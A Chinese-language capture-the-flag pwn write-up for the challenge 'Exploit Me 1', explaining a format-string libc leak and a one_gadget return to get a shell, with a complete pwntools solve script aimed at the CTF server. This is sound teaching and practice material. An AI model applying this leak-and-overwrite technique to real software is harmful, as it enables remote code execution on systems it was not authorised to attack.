# [CH] Exploit Me 1 ###### tags: `Writeup` `Pwn` `Chinese` > [name=Curious] ## 思路和解法 先把 `chal` 丟進 IDA 看看  可以發現這題可以用 FMT leak 一個 address 然後用 One Gadget 來 get shell,所以需要 leak libc 的 address 接著看看 One Gadget 的條件  如果仔細看 `main` 的 asm,可以發現最後面塞了 `xor rsi, rsi` 和 `xor rdx, rdx`,所以 One Gadget 的條件就剩下需要 `rbp - 0x78` 是可寫的,既然我們 leak 了 libc 的 address,所以直接用 libc 的可寫段的某一個 address 寫給 `rbp` 就好了 Solve Script : ```python= from pwn import * context.arch = 'amd64' # r = process('./chal') r = remote('lotuxctf.com', 10007) r.sendlineafter(b'> ', b'%9$p') libc = int(r.recvline().strip(), 16) - 0x029d90 info(f'libc : {hex(libc)}') one_gadget = libc + 0xebcf8 buf = libc + 0x21af00 r.sendlineafter(b'> ', b'a' * 0x10 + flat(buf, one_gadget)) r.interactive() ``` {%hackmd M1bgOPoiQbmM0JRHWaYA1g %}
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up